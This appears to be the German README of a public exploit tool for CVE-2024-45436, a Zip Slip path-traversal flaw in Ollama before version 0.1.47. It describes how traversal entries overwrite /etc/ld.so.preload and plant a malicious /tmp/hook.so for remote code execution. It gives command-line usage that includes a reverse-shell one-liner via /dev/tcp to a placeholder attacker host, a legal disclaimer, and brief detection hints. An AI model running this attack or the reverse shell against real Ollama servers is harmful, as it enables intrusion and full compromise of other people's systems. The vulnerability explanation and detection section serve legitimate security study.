
Exploit-Skript für CVE-2024-45436
Eine saubere und effiziente Exploit-Implementierung für die Ollama ZIP-Traversal-Schwachstelle (CVE-2024-45436). 中文文档:README_CN.md
CVE-2024-45436 ist eine Path-Traversal-Schwachstelle (auch bekannt als „Zip Slip“) in Ollama-Versionen vor 0.1.47. Die Schwachstelle erlaubt es Angreifern, durch die Ausnutzung einer unzureichenden Validierung von Pfaden während des Entpackens von ZIP-Dateien, Dateien an beliebigen Stellen im Dateisystem zu schreiben.
Der Fehler liegt in der Funktion extractFromZipFile in Ollamas Datei model.go, die Modelldateien extrahiert. Wenn eine ZIP-Datei Einträge mit Pfaden enthält, die Directory-Traversal-Sequenzen (../) beinhalten, extrahiert Ollama diese Dateien außerhalb des vorgesehenen Verzeichnisses, was einem Angreifer potenziell das Überschreiben kritischer Systemdateien ermöglicht.
Dieser Exploit nutzt die Schwachstelle über folgenden Ansatz aus:
hook.so), die Code zur Ausführung beliebiger Befehle enthält../../../../../../../../../../etc/ld.so.preload – Wird verwendet, um benutzerdefinierte Shared Objects vorzuladen../../../../../../../../../../tmp/hook.so – Das bösartige Shared Object selbstBei erfolgreicher Ausführung läuft der Payload mit denselben Berechtigungen wie der Ollama-Dienst, was potenziell eine Remote-Code-Ausführung als root ermöglicht.
python exp.py <target_url> <command>
target_url: Die URL der verwundbaren Ollama-Instanz (z. B. http://example.com:11434)command: Der auf dem Zielsystem auszuführende Befehl--no-cleanup: Temporäre Dateien nach der Ausnutzung nicht entfernen (nützlich für Debugging)Einfache Verwendung:
python exp.py http://target-server:11434 "id > /tmp/pwned"
Reverse Shell:
python exp.py http://target-server:11434 "bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'"
Dieses Tool wird ausschließlich zu Bildungs- und autorisierten Sicherheitstestzwecken bereitgestellt. Die unbefugte Nutzung gegen Systeme ohne ausdrückliche Erlaubnis ist illegal und unethisch. Der Autor übernimmt keine Verantwortung für den Missbrauch dieser Software.
Organisationen können überprüfen, ob sie verwundbar sind, indem sie:
/api/version überprüfen/etc/ld.so.preload oder /tmp/hook.so suchenDie Schwachstelle nutzt eine unzureichende Pfadvalidierung im ZIP-Datei-Extraktionsprozess von Ollama aus. Wenn ein Modell über die API geladen wird, extrahiert die Anwendung Dateien aus einem ZIP-Archiv, ohne die Dateipfade ordnungsgemäß zu bereinigen, was Directory-Traversal-Angriffe ermöglicht.
Die Datei ld.so.preload wird unter Linux verwendet, um Shared Libraries anzugeben, die vor allen anderen geladen werden sollen. Durch das Schreiben in diese Datei kann der Angreifer sicherstellen, dass seine bösartige Bibliothek von jedem neuen Prozess geladen wird, was effektiv die Programmausführung kapert.
Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.